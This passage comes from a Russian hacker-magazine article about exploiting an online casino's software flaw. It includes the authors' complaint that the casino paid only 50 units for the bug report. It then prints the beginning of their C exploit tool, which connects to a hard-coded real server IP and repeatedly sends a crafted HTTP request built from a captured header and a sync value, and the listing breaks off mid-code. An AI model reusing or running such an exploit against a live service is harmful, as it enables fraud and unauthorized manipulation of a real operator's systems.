Атака на цитадель алчности goabruce & porosenok Хакер, номер #091, стр. 091-078-4 Эпилог Наши победили, народ ликует, пошли титры. Но мы не в Голливуде, и настоящая жизнь очень редко балует нас хэппиендами. Если ты еще раз прочитаешь введение, то вспомнишь, что мы просто хотели честно заработать, используя свой интеллект. Я думаю, ты согласишься с тем, что для казино такие ошибки чреваты большими последствиями, и оплата за их нахождение должна быть достойной. Но у жадных людей свои взгляды на жизнь и они оценили эту ошибку в 50 у.е. Что же получается? А то, что цитадель алчности победила, она получила аудит ПО с указанием найденных ошибок (представлена всего одна, но достаточно значимая) всего за 50 баков. Робот-воин (исходный текст) //********************************************************************* // Для запуска требуется файл с заголовком HTTP-запроса // Формат запуска casino.exe <sync_id> <text_header> // sync_id - последующее значение поля sync // text_header - имя файла с заголовком http-запроса без самого запроса #include <winsock2.h> #include <stdio.h> #include <io.h> #include <fcntl.h> #include <conio.h> int main(int argc, char* argv[]) { char http_header[1024]; char file_header[1024]; char http_get[1024]; long sync; SOCKADDR_IN sa; WSADATA wsa; int out; int err; char buf[256]; if(argc<3) printf("Usage: casino.exe <sync_id> <text_header>"); sync=atoi(argv[1]); if (WSAStartup(MAKEWORD(2,0),&wsa)) { return 0; } memset(&sa,0,sizeof(SOCKADDR)); sa.sin_family=AF_INET; sa.sin_port=htons(80); sa.sin_addr.S_un.S_addr=inet_addr("217.74.42.151"); int f; int i=0; f=open(argv[2],O_BINARY|O_RDONLY); while(!_eof(f)) { read(f,&file_header[i++],1); } file_header[i++]=0; while(!kbhit()) { out=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (out==INVALID_SOCKET) { return 0; } err=connect(out,(const SOCKADDR *)&sa,sizeof(SOCKADDR)); |